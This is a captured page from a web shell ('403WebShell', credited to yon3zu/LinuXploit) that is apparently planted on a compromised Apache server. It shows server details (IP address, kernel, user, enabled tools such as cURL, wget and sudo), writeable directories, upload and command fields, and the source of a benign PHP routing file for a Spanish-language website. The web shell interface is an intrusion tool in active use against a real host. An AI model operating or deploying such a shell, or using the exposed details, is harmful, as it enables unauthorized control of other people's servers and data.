Warning: Trying to access array offset on null in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2

Deprecated: md5(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.233
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/aprendizajeodisea/system/aura/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aprendizajeodisea/system/aura/app_routes.php
<?php
/**
 *APP Routes Map
 **/

 /*/////////Routes//////////////*/
 //Home Route
 /*

*/
 $router->add('home', '/')
        ->setValues([
            'controller' => 'home',
            'action'    => 'index',
            'page'        => 'home',
            'template'  => 'layout.php'
            ]);                

//Contacto
$router->add('contact', '/contacto')
    ->addValues(array(
        'controller' => 'contacto',
        'action' => 'index',
        'id'    => 'contacto',
        'page'  => 'contacto'
         ));

//LIVE FACEBOOK
$router->add('live', '/live')
    ->addValues(array(
        'controller' => 'live',
        'action' => 'index',
        'id'    => 'live',
        'page'  => 'live'
         ));    
//about   
$router->add('about', '/about')
    ->addValues(array(
        'controller' => 'page',
        'site'      => null,
        'action' => 'index',
        'page'    => 'nosotros',
        'meta' => 'page',
    )); 
//blog   
$router->add('blog', '/blog{/action,id}')
    ->addValues(array(
        'controller'=> 'blog',
        'action'    => 'index',
        'id'        => null,
    )); 
$router->add('encuentro', '/encuentro{/id,page}')
    ->addValues(array(
        'controller'=> 'encuentro',
        'action'    => 'evento',
        'id'        => null,
        'page'      => 'home',
        'template'  => 'encuentros/index.php',
    ));
/*/evento/*/
$router->add('evento', '/eventos{/id,page}')
       ->addValues(array(
        'controller'    => 'page',
        'action'        => 'eventos',
        'id'            => null,
        'page'          => null,
    ));
/*/tetramap/*/
$router->add('tetramap', '/tetramap{/action}')
    ->addValues(array(
        'controller'=> 'tetramap',
        'action'    => 'index',
        'id'        => null,
        'page'      => 'home',
        'template'  => 'tetramap/layout.php',
    ));

$router->add('page', '{/action}')
       ->addValues(array(
        'controller' => 'page',
        'action' => null,
    ));
//blog   
 

$path = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
$path = str_replace(FOLDER, '', $path);

//echo $path;//DEBUG

//Get the route based on the path and server
$route = $router->match($path, $_SERVER);


//var_dump($route);//DEBUG
if ($route) {
    $params = $route->params;
    $params['post'] = $_POST;
    $params['query'] = $_GET;
    $params['server'] = $_SERVER;
    //$dispatcher($params);
    //var_dump($dispatcher);
    //var_dump($params);
    //print_r($result);
}
else{
    $params = ([
        'controller' => 'notfound',
        'action'    => 'index'
        ]);   
}

//Initialize Dispatcher Classes
$dispatcher->setObject('home', new ControllerHome($registry,$params));
$dispatcher->setObject('page', new ControllerPage($registry,$params));
$dispatcher->setObject('contacto', new ControllerContacto($registry,$params));
$dispatcher->setObject('live', new ControllerLive($registry,$params));
$dispatcher->setObject('blog', new ControllerBlog($registry,$params));
$dispatcher->setObject('encuentro', new ControllerEncuentro($registry,$params));
$dispatcher->setObject('tetramap', new ControllerTetramap($registry,$params));
$dispatcher->setObject('notfound', new ControllerNotFound($registry));

Youez - 2016 - github.com/yon3zu
LinuXploit